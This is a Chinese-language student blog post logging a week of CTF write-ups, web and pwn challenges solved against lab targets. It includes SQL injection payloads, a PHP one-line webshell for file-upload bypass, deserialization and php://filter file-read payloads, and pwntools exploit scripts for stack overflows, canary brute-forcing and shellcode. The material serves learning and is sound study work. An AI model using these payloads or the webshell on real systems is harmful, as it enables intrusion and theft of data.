周报题解记录

第一天

本题难度⭐⭐

web题目:[强网杯 2019]随便注

难点:handler注入获取字段值

 1.进入靶机获得页面,题目提示sql注入,所以先进行模式解题目        

 首先分析是字符型还是数字型的;

字符型:'or 1=1#(看看能否回显全部)

数字型:1 and 1=1

其中输入单引号发现出现报错,在用联合注入试图获取数据库名,但题目回显出提示

 大体上题目字符型居多,

            

因为过滤了select,这里可以考虑布尔注入,但这题有明显大量回显,采用堆叠注入或许是更好的方式,所以 

  ';show databases; 

可以获得所有数据库名

根据上图可以看不出什么,直接爆表名

';show tables;

然后爆字段

';show columns from `1919810931114514`;#   

在堆叠注入无法直接获取字段值

需要采取handler注入

';handler `1919810931114514` open;handler `1919810931114514` read first#

拿到flag



本题难度⭐⭐

pwn题目:跳板溢出

难点:找到漏洞位置

对于pwn题目拿到文件就应该先查看文件权限,再寻找方法

看出开启了NX保护,并且可以修改plt表,在拖进ida反编译,找到了main函数,一个个点开发现sub_8049059可能包含需要信息,

看到有read函数,检查可输入字节为32,点进read函数发现覆盖不到返回地址,所以排除read函数漏洞可能,紧接着由于汇编代码是c++有些看不懂,这里问了群里的师傅给出两个方法,1.大致猜测(被我直接pass,根本猜不出来),2.爆破一下

所以我就采取了爆破看看是否有用,输入各种数据发现,输入的I会变成IronMan

接下来返回ida我们可以找到strcpy函数,因为I的替换可以进行溢出,所以0x6c=108,(108+4)/7=16,凑好了16个I所以直接再加上shellcode就可以进行利用

shift+f12召唤字符串,可以发现有现成的system和cat /ctfshow_flag,找到字符串ctrl+x跟踪回到函数

于是构建脚本

from pwn import *
context.log_level= 'debug'
io = remote('pwn1.challenge.ctf.show',28237)

elf = ELF("./pwn1")

cat_flag = 0x804902E

payload = 16*b'I'+p32(cat_flag)

#payload = 16*b'I'+p32(system)+b'aaaa'+p32(str_cat_flag_)

#第二个payload 是分开了system和命令参数,中间需要填返回地址,这里可以随便填四个字符。

io.sendline(payload)

io.recv()

io.interactive()

直接给了后门函数所以写出payload拿到flag


第二天

   本题难度⭐

   web题目:[极客大挑战 2019]Secret File

    考点为:burp抓包以及php伪协议读取

打开在源码界面发现提示,原本计划扫目录先,但发现频繁出现429响应码,说明访问频繁。

进入页面

再点击提示已经结束,说明需要的线索就在这个跳转之中,所以我们打开burp进行抓包,

可以获得

根据提示打开到

提示了我们在flag里面,还有一层简单的过滤,根据经验,通常读取文件用php伪协议,所以这里我们就用php://filter/read=convert.base64-encode/resource=flag.php,就可以读取

一看这个码有大小写英文还有数字,想到base64所以就进行hackbar解码,得到

就拿到了flag



难度:⭐

pwn题目:迎面走来的flag让我如此蠢蠢欲动

考点:在于利用函数以及给定参数格式

反编译32位找到ctfshow,明显的栈溢出gets函数漏洞,所以马上就知道偏移量0x6c+4,然后文中发现有flag提示

明显只要输入参数a=876&&a2=877就可以输出flag,所以调用flag

写出脚本

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os ='linux',log_level = 'debug')
io = remote('pwn1.challenge.ctf.show',28274)
offset = 0x6c+4
elf = ELF("./pwn")
cat_flag =0x8048586
puts_plt=elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload = cyclic(offset)+p32(cat_flag)+p32(0)+p32(876)+p32(877)
io.send(payload)
io.interactive()

 要注意的是利用函数后,要放上返回地址。


第三天

  难度:⭐⭐

  web题目:[网鼎杯 2020 青龙组]AreUSerialz 1

  考点:序列化绕过字符检测以及强相等和弱相等之间的差异

int类型的2与字符类型的2,在__destruct()的强相等下是不等的,而弱相等情况下又是相等的

打开

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

明显是一个反序列化题目,所以从上面给的属性开始看

查看process()是跳板,用来执行函数,

会进行实际写入和读取 ,这里看到能读取就想到是否可以写木马植入,但是

最后的魔术方法进行重新赋值,把内容覆盖了,所以只能找别的方法,这里重新赋值1的判断是强相等,上面的使用又是弱相等,而这里要运用知识点

int类型的2与字符类型的2,在__destruct()的强相等下是不等的,而弱相等情况下又是相等的

所以只要我们给op赋值的时候传整数型就可以了

这里还有一个注意点,因为这里本身的FileHandler属性里面是protected属性,这个属性会序列化会产生保护,会有截断影响payload。

 直接改为public绕过

<?php



 

class FileHandler {

    public $op=2;    

    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";

    public $content='';

   

}

$a=new FileHandler();

print(serialize($a));

 拿到编码,一看就是base64,进行解码

 


难度:⭐⭐⭐

pwn题目:模拟壳保护

考点:在于看懂壳是如何保护检查溢出的,找到合理调用点

收获:懂得canary保护原理,之间都只是理论理解,实际做了一遍理解加深很多。

进入反编译找到canary,这里是把本地文件的canary.txt里的写入stream,然后再把它放进全局变量,再看下一步

 看到ctfshow函数,首先看到s1用来记录壳值,然后下面的while循环,需要理解含义,其实就是一个不断读取的循环,直到这个值是10,不过这里值是ascill码值,所以就是换行符,意思就是读到换行符退出,

isoc99是把v2字符转为整数形式储存。

之后read然后将它存入到buf之中,然后if比较s1的开头四个字符是否和储存的壳值一样,检查是否发生栈溢出覆盖返回值,那我们这里就要满足值一样才能绕过,这里就相当于模拟了一个Canary栈溢出保护。

这里最好进行一个本地的调试,这样会让自己思维更加清晰,本质上爆破就是一个盲盒测试,具体步骤不展示,附上我跟随的链接,写的很好。

ctfshow pwn入门53- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者 (zkaq.cn)

这里有一点十分注意

关于爆破canary:

它首先程序它读取了本地那个文件,它的内容是不是知就在那里,现在我们不知道,但是它内容已经读取在那里不。变了,已经它不会变动了,然后我们在本地调试出大概它的位置在哪里,我们知道对不对,我们只改第一位,它后面的是已知的呀,我们不去改动它就可以了呀。(这里的改动就是根据栈溢出覆盖,选择覆盖到第几位,因为这个壳就紧跟在溢出的后面,所以我们就先覆盖到第一位,后面三位本来就是正确的,所以直到覆盖的数据和本来数据相同,那么就爆破出来了

给出脚本

from pwn import *

context.log_level = 'critical' #只输出关键信息

canary = b''
for i in range(4):
    for c in range(0xFF):
        io = remote('pwn.challenge.ctf.show', 28270)
        io.sendlineafter('>', '-1')
        payload = b'a' * 0x20 + canary + p8(c)
        io.sendafter('$ ', payload)
        ans = io.recv()
        print(ans)
        if b'Canary Value Incorrect!' not in ans:
            print('The index({}), value({})'.format(i, c))
            canary += p8(c)
            break
        else:
            print('Trying...')
        io.close()

print('canary=', canary)

io = remote('pwn.challenge.ctf.show', 28270)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag)
io.sendlineafter(b'>', b'-1')
io.sendafter('$ ', payload)
io.interactive()

难点:

    1. 0x20怎么来?

2.最后为什么payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag), p32(0) * 4哪里来的

可以通过本地调试发现,main函数就在四个后,所以跳转到call(main)那里,变成call(flag)这个函数,就可以拿到flag咯。


第四天

    难度:⭐⭐

   web题目:[ACTF2020 新生赛]Upload1

   考点:文件上传

打开页面发现上传,然后上传发现有前端验证,可以关闭js或者是删除当地源代码进行绕过,然后需要知道php格式有些能进行绕过,一般有大小写等操作,这里发现phtml可以绕过直接上传

一句话木马访问一个phtml后缀的文件里

<?php eval($POST_['cmd']);?>

然后用蚁剑拿到权限就可以了。

   


难度:⭐

  pwn题目:溢出

   考点:找到覆盖点

查看代码,发现总体逻辑就是要输入正确的密码就会输出flag,那我们肯定是不知道的,这里也没有说明是什么组成密码,所以不要想用纯爆破来解决,一般问题都在输入上面,我是反着看的,从下往上,发现输入s1可输入64位,但发现s1和s差了0x1A0-0x60位,本来试图采取跟上一题一样壳爆破进行找到flag,但位数不够,然后看上面有一个name输入256位,所以发现name所在的v5和储存密码的s差100,这里就可以覆盖到,但是覆盖调用函数我们一般都是,这里你会发现也没有找到256范围内的ret,所以这里要运用到一个知识点

puts函数:没遇到 0x00 ,puts就会继续往下读取 s 的字节,直到读取到 0x00 之后,才会停止输出

那程序中肯定是本来就有0x00设置了的,那我们把它继续覆盖掉,puts函数就会一直输出到遇到0x00为止,一定范围内就会输出储存的password,

疑点:覆盖不会把password数据覆盖吗??

答:这里是有先后顺序的,题目里是name输入完之后,在这基础上才把password放到指定位置上,所以不会被覆盖。

逗号之后就是密码了,然后输入密码就拿到flag了


第五天

   难度:⭐

  web题目:[极客大挑战 2019]BuyFlag

   考点:弱相等

进去找到playflag页面

f12看下源码有提示,让我们传参password=404还有钱,这里numeric函数要求不能是数字,但后面要求等于404所以根据弱相等我们就输入404a就可以绕过,因为比较时候只比较数字,遇到字符串停止,所以这里绕过,

页面还要求一定身份,看cookie:user=0,所以试着改为1,改成cult不行,然后再传参

 这里还有一点:传参money不能传过长的,会出现too long,所以改用科学计数法1e10绕过,然后拿到flag


   pwn题目:Nx不开随便打

   难度:⭐

   考点:找到shellcode存放位置

拿到下面这张图片。发现有gets函数,发现栈溢出,点击进入

接下来我们接着看: leave的作用相当于MOV SP,BP;POP BP。

释放当前子程序在堆栈中的局部变量,使BP和SP恢复成最近一次的ENTER指令被执行前的值。

因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节。
 

io.recvuntil('[')

v5 = io.recvuntil(']', drop=True)

v5 = int(v5, 16) .

而生成的shellcode中对rsp进行了其他操作,所以leave指令会对shellcode的执行造成影响。故v5 中不能存放shellcode,v5后的8个字节也不能存放(这里需要存放返回地址)。故我们的shellcode只能 放在v5首地址后的 24+8后的地址。

疑问:函数运行时不是返回地址了,那把shellcode放在返回地址后面还有用吗??

答:因为这里没有开NX保护,所以这里栈上的数据会被执行,这就是NX保护是否可以的区别。


第六天

  难度:⭐⭐ 

  web题目:[BJDCTF2020]Easy MD5

   考点:md5绕过

进去发现输入什么都没有回显,源代码也没提示,扫目录限速,所以抓包看看

发现了收到的有Hint,告诉我们输入的会变成md5加密,所以要找一个会变成 'or ****

  1.ffifdyop
  2.129581926211651571912466741651878684928

  可以进行md5加密为’or 'xxxxx'格式。

之后输入后跳转

要我们传参MD5相等的

然后搜索一下输入,成功后到达

又是一个md5强弱问题,这里就要搜索谷歌来解决问题,要用下面这个知识点

2.PHP特性
 

$_POST['a1']!==$_POST['a2']
&&
md5($_POST['a1'])===md5($_POST['a2'])


成立的条件是a1和a2值不相等,但是md5后的值相等。因为这里是===不仅比较值相等还会比较值得类型是否相同0E在这里就不可用了。
php中md5和sha1函数都无法处理数组,会返回NULL
所以构造a1[]=1&&a2[]=2就可以绕过。


   难度:⭐

   pwn题目:NX开了也能打

   考点:找到shellcode存放位置

shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

查看保护,发现NX保护,好像就不能直接shellcode了

看下主函数,发现有read输入函数,这里要注意到buf数组的这里运行,

问下gpt大哥熟不熟,发现重点是7打开了可读可写可执行,那么是不是把shellcode写到这里面,就能运行了,刚好开辟了0x400u,和下面read一样,所以直接构造paylaod就行

脚本

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28117)
shellcode_x64 =asm(shellcraft.sh())
io.sendline(shellcode_x64)
io.interactive()

  所以说有时候需要具体情况具体分析,东西并不是一成不变的。

第七天

  难度:⭐⭐

  web题目:网鼎杯 2018]Fakebook1

   考点:sql注入以及找到什么要绕过

看到一个注册登陆页面,扫一下

python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
#-u 扫描的url
#-e 扫描的目录后缀
#-t 设置扫描线程
#-x 排除指定的网站状态码(用逗号隔开)

注册一下先试试

注册后查找下发现下面这里网页提示了?no=1,感觉应该是sql,输入2-1发现是数字注入,然后order by 测出了是4列,再用union select 1,2,3,4发现竟然不行,出现hacker提示 

经过不断尝试发现只要输入union select 就会出现hack,所以这里有多种绕过

1./**/代替空格

2.union 用 union all select 绕过

 发现username可以回显,所以进行常规注入

 

 找到数据储存使用序列化,序列化就意味着需要源码,因为应该是构造相应数据来序列化时产生信息泄露来获取,所以扫出来的目录包含了。

 

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里面重点就是

 

  function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);

//

//【*】curl_init : 初始化一个curl会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。

//【*】curl_setopt : 请求一个url。

其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。

//【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

这里用curl执行命令,想到php伪协议读取服务器本地文件

        疑问:文件在哪呢

        答: 前面报错显示了文件途径,并且扫到了flag.php,猜测统一路径
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }
 

 构造序列化

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

疑问:为什么能直接在这传序列化?

答:相当于自动在blog填入这段数据,然后系统会显示调用curl函数造成泄露.

看到base64编码 ,解码拿到flag{c3b94c42-6c12-4509-9824-3eab3bebf32c}

 

还有个非预期解

使用load_file()函数,直接得到flag

payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

 


难度:⭐⭐⭐ 

pwn题目:看汇编

   考点:学会看汇编代码,找到可执行段。

检查保护,发现提示有可执行段,并且NX没开,但是没办法改写plt和got段

进入后发现没法反编译,

能力强可以直接看,弱点的话借用一下gpt

不一定对,但是有借鉴提示用处,对于初学者看懂汇编有帮助

很明显接着我们要去看log_11AC函数,

 

将0赋值给了rbp+var_4,然后跳转到loc_123A函数

将rbp+var_4的值赋值给eax,如果eax<rbp+var_8跳转到loc_11b8函数

看到这里是否发现cmp就是if语句

疑问:为什么有的是大于出0,有的是小于等于出0??

答:这里要注意cmp的下一条指令,有的是jl,有的是jle。

跳转指令(jump instructions)是汇编语言中用于实现条件分支的指令。它们根据条件代码寄存器(EFLAGS)中的标志位进行条件判断,并根据结果跳转到不同的代码位置。

以下是常见的条件跳转指令和它们的含义:

  • jg表示无符号比较结果大于 0。
  • jge:表示无符号比较结果大于等于 0。
  • jl:表示无符号比较结果小于 0
  • jle表示无符号比较结果小于等于 0。
  • je表示相等比较结果为真。
  • jne表示不等比较结果为真

发现一个是要大于40,一个小于70,所以是

40<输入<70

                                     

 cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展(16-32) EAX是 32位的寄存器,而AX是EAX的低16位,AH是ax的高8位,而AL是ax的低8位 大致就是将我们输入的字符串 每一位进行比较,如果不在0x60~0x7A这个范围就跳转 剩下几个就是跳转的范围

 同样的方法看,0x2F<=输入<=0x5A

 

 最终要到达

否则跳转到这,执行我们输入的字符串

整体就是要求输入必须得是常规字符的,因为asm生成的shellcode会有乱码不能显示,所以输入不行,到网上查找可以用的shellcode

脚本

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28135)
io.recvuntil("Shellcode")
shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

周报

        本周总结:

                     1.pwn栈溢出基本知识学习机运用

                     2.web历年比赛真题学习 

         下周计划:

                      1.pwn堆溢出前置基础及利用

                      2.web历年比赛真题学习

                      3.英语6级准备

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值